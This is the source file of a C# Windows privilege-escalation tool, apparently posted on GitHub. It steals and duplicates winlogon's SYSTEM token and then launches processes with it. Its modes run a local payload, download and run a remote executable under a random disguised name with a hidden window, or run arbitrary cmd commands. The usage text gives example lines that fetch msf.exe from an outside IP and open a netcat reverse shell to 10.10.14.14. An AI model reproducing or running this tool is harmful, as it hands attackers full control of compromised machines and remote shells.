-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
352 lines (298 loc) · 16.4 KB
/
Program.cs
File metadata and controls
352 lines (298 loc) · 16.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
using System;
using System.Security.Principal;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
//Based upon TokenDuplicator from Magnus Stubman
//https://github.com/magnusstubman/tokenduplicator
namespace GetSystemPriv
{
class GetSystemPriv
{
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
UInt32 DesiredAccess,
out IntPtr TokenHandle);
[DllImport("advapi32.dll")]
public static extern bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateLoggedOnUser(
IntPtr hToken);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx(
IntPtr hExistingToken,
uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpTokenAttributes,
int SECURITY_IMPERSONATION_LEVEL,
TOKEN_TYPE TokenType,
out IntPtr phNewToken);
public enum LogonFlags
{
WithProfile = 1,
NetCredentialsOnly
}
public enum CreationFlags
{
DefaultErrorMode = 0x04000000,
NewConsole = 0x00000010,
NewProcessGroup = 0x00000200,
SeparateWOWVDM = 0x00000800,
Suspended = 0x00000004,
UnicodeEnvironment = 0x00000400,
ExtendedStartupInfoPresent = 0x00080000
}
[DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
LogonFlags dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
CreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CloseHandle(IntPtr hObject); // Needed to close token handles
[DllImport("kernel32.dll", SetLastError = true)]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static bool CheckHighIntegrity()
{
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
//function to create random name for dropped file
public static string GenerateNeutralName()
{
string[] neutral1 = {
"cosmic", "divine", "eternal", "heavenly", "immortal", "infinite", "mystic", "sacred", "spiritual", "universal", "angelic", "celestial", "divine",
"godly", "holy", "saintly", "seraphic", "supernal", "blessed", "devout", "godlike", "righteous"
};
string[] neutral2 =
{
"beast", "alien", "entity", "creature", "monster", "being", "phantom", "spirit", "apparition", "phantasm", "specter", "wraith", "daemon", "devil", "demon", "fiend", "genie", "jinn", "spirit", "sprite", "angel", "cherub", "seraph", "sylph", "nymph", "fairy", "elf", "dwarf", "gnome", "goblin", "orc", "troll", "ogre", "giant", "titan", "dragon", "wyrm", "serpent", "hydra", "basilisk", "cockatrice", "phoenix", "griffin", "hippogriff", "pegasus", "unicorn", "centaur", "minotaur", "harpy", "siren", "mermaid", "naga", "lamia", "gorgon", "medusa", "cyclops", "sphinx", "chimera", "manticore", "kraken", "leviathan", "behemoth", "golem", "homunculus", "automaton", "android", "cyborg", "robot", "machine", "construct", "elemental", "djinn", "efreet", "genie", "nymph", "sylph", "fairy", "angel", "cherub", "seraph", "demon", "devil", "daemon", "fiend", "monster", "beast", "creature", "entity", "alien", "apparition", "phantom", "spirit", "specter", "wraith", "ghost", "zombie", "vampire", "werewolf", "ghoul", "skeleton", "mummy", "lich", "lich", "revenant", "shade", "specter", "wraith", "poltergeist", "banshee", "wight", "soul", "spirit", "phantom", "apparition", "specter", "wraith", "ghost", "zombie", "vampire", "werewolf", "ghoul", "skeleton", "mummy", "lich", "lich", "revenant", "shade", "specter", "wraith", "poltergeist", "banshee"
};
Random rnd = new Random();
string name = neutral1[rnd.Next(neutral1.Length)] + "_" + neutral2[rnd.Next(neutral2.Length)];
return name;
}
static void Main(string[] args)
{
Console.WriteLine(" _______ __ _______ __ ______ __ ");
Console.WriteLine(" | __|.-----.| |_| __|.--.--.-----.| |_.-----.--------.| __ |.----.|__|.--.--.");
Console.WriteLine(" | | || -__|| _|__ || | |__ --|| _| -__| || __/| _|| || | |");
Console.WriteLine(" |_______||_____||____|_______||___ |_____||____|_____|__|__|__||___| |__| |__| \\___/ ");
Console.WriteLine(" |_____| ");
Console.WriteLine(" by Razzty\n");
if (args.Length != 2)
{
Console.WriteLine("Works by duplicating the privileged process token and creating a new process with it.");
Console.WriteLine("Needs to be executed in high integrity context. Bypass UAC first.");
Console.WriteLine("This tool is for educational purposes only. Use at your own risk.\n");
Console.WriteLine("[*] There are three modes available:");
Console.WriteLine(" - local - Use this mode to elevate privileges with executing local program (ex. your loader or cmd.exe)");
Console.WriteLine(" - net - Use this mode to elevate privileges with downloading and executing remote program from URL");
Console.WriteLine(" - cmd - Use this mode to elevate privileges and run command in context of cmd.exe");
Console.WriteLine("[*] Usage: GetSystemPriv.exe local/net/cmd <Path/URL/command>");
Console.WriteLine("[*] Examples:");
Console.WriteLine(" - GetSystemPriv.exe local C:\\Users\\test\\Desktop\\msf.exe");
Console.WriteLine(" - GetSystemPriv.exe net http://10.10.14.15/msf.exe");
Console.WriteLine(" - GetSystemPriv.exe cmd \"C:\\Windows\\Tasks\\nc64.exe 10.10.14.14 4444 -e cmd.exe\"");
return;
}
if (!CheckHighIntegrity())
{
Console.WriteLine("[!] You need to be in high integrity context to use this tool.");
return;
}
//In default, we are going to use services.exe as target process
//Other possibilities that are running as SYSTEM: smss.exe, ntoskrln.exe
String target = "winlogon";
string mode = args[0].ToLowerInvariant(); //case insensitive
string path = args[1]; //path to file or URL or command
Console.WriteLine($"[*] Mode: {mode}");
Console.WriteLine("[*] High Integrity Context detected!");
//If there are more processes named from target, we are going to use the first one
var proc = Process.GetProcessesByName(target)[0];
if (proc == null)
{
Console.WriteLine("[!] Target process not found! Bailing out!");
return;
}
IntPtr hToken = IntPtr.Zero;
uint TOKEN_DUPLICATE = 0x0002; //https://docs.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-openprocesstoken
if (!OpenProcessToken(proc.Handle, TOKEN_DUPLICATE, out hToken))
{
Console.WriteLine("[!] OpenProcessToken failed with error: {0}", Marshal.GetLastWin32Error());
return;
}
IntPtr hDuplicateToken = IntPtr.Zero;
if (!DuplicateToken(hToken, 2, ref hDuplicateToken))
{
Console.WriteLine("[!] DuplicateToken failed with error: {0}", Marshal.GetLastWin32Error());
return;
}
if (!ImpersonateLoggedOnUser(hDuplicateToken))
{
Console.WriteLine("[!] ImpersonateLoggedOnUser failed with error: {0}", Marshal.GetLastWin32Error());
return;
}
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si); //for cmd execution
si.dwFlags = 0x1; //STARTF_USESHOWWINDOW
si.wShowWindow = 0x0; //SW_HIDE
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
IntPtr hDuplicateToken2 = IntPtr.Zero;
uint MAXIMUM_ALLOWED = 0x2000000; //https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, ref sa, 2, TOKEN_TYPE.TokenPrimary, out hDuplicateToken2))
{
Console.WriteLine("[!] DuplicateTokenEx failed with error: {0}", Marshal.GetLastWin32Error());
return;
}
Console.WriteLine("[*] Duplicated token created!");
if (mode == "net")
{
//Destination of downloaded file - user's temp directory
Console.WriteLine("[*] Mode: 'net': Downloading and executing file");
Console.WriteLine("[*] Downloading file from URL...");
String fullexepath = Path.Combine(Path.GetTempPath(), GenerateNeutralName() + ".exe");
Console.WriteLine($"[*] Downloading from {path} to {fullexepath}");
using (System.Net.WebClient client = new System.Net.WebClient())
{
client.DownloadFile(path, fullexepath);
}
Console.WriteLine("[*] File downloaded successfully!");
Console.WriteLine($"[*] Creating process: {fullexepath}");
if (!CreateProcessWithTokenW(hDuplicateToken2, LogonFlags.NetCredentialsOnly, null, fullexepath, CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref si, out pi))
{
Console.WriteLine("[!] CreateProcessWithTokenW failed with error: {0}", Marshal.GetLastWin32Error());
return;
}
Console.WriteLine($"[*] Process created with SYSTEM token! PID: {pi.dwProcessId}");
//Cleanup handles on tokens
if (hToken != IntPtr.Zero) CloseHandle(hToken);
if (hDuplicateToken != IntPtr.Zero) CloseHandle(hDuplicateToken);
if (hDuplicateToken2 != IntPtr.Zero) CloseHandle(hDuplicateToken2);
if (pi.hThread != IntPtr.Zero) CloseHandle(pi.hThread);
if (pi.hProcess != IntPtr.Zero) CloseHandle(pi.hProcess);
Console.WriteLine("[*] Handles closed.");
//Delete downloaded file - we need to wait for process to finish first
IntPtr ProcessHandle = pi.hProcess;
CloseHandle(pi.hThread);
Console.WriteLine("[*] Waiting for process to exit...");
WaitForSingleObject(ProcessHandle, 0xFFFFFFFF);
Console.WriteLine("[*] Process exited. Cleaning up downloaded file...");
//in case of failure, file will need to be deleted manually
try
{
File.Delete(fullexepath);
Console.WriteLine("[*] File deleted. Exiting...");
}
catch (Exception e)
{
Console.WriteLine($"[!] Error during cleanup of file: {e.Message}");
Console.WriteLine("[!] It may need to be deleted manually. Exiting...");
return;
}
}
if (mode == "local")
{
Console.WriteLine("[*] Mode: 'local': Executing program from provided path");
if (!File.Exists(path))
{
Console.WriteLine($"[!] The file does not exist at the specified path: {path}");
return;
}
if (!CreateProcessWithTokenW(hDuplicateToken2, LogonFlags.NetCredentialsOnly, null, path, CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref si, out pi))
{
Console.WriteLine("[!] CreateProcessWithTokenW failed with error: {0}", Marshal.GetLastWin32Error());
return;
}
Console.WriteLine($"[*] Process created with SYSTEM token! PID: {pi.dwProcessId}");
//Cleanup
if (pi.hThread != IntPtr.Zero) CloseHandle(pi.hThread);
if (pi.hProcess != IntPtr.Zero) CloseHandle(pi.hProcess);
if (hToken != IntPtr.Zero) CloseHandle(hToken);
if (hDuplicateToken != IntPtr.Zero) CloseHandle(hDuplicateToken);
if (hDuplicateToken2 != IntPtr.Zero) CloseHandle(hDuplicateToken2);
Console.WriteLine("[*] Handles closed. Exiting...");
}
if (mode == "cmd")
{
Console.WriteLine("[*] Mode: 'cmd': Executing command via cmd.exe");
string command = $"/c {path}";
STARTUPINFO si_cmd = new STARTUPINFO();
si_cmd.cb = Marshal.SizeOf(si);
si_cmd.dwFlags = 0x1; // STARTF_USESHOWWINDOW
si_cmd.wShowWindow = 0x0; // SW_HIDE
PROCESS_INFORMATION pi_cmd = new PROCESS_INFORMATION();
if (!CreateProcessWithTokenW(hDuplicateToken2, LogonFlags.NetCredentialsOnly, "cmd.exe", command, CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref si_cmd, out pi_cmd))
{
Console.WriteLine("[!] CreateProcessWithTokenW failed with error: {0}", Marshal.GetLastWin32Error());
return;
}
Console.WriteLine($"[*] Command {path} executed with SYSTEM token! PID: {pi_cmd.dwProcessId}");
// Cleanup
if (pi_cmd.hThread != IntPtr.Zero) CloseHandle(pi_cmd.hThread);
if (pi_cmd.hProcess != IntPtr.Zero) CloseHandle(pi_cmd.hProcess);
if (hToken != IntPtr.Zero) CloseHandle(hToken);
if (hDuplicateToken != IntPtr.Zero) CloseHandle(hDuplicateToken);
if (hDuplicateToken2 != IntPtr.Zero) CloseHandle(hDuplicateToken2);
Console.WriteLine("[*] Handles closed. Exiting...");
}
}
}
}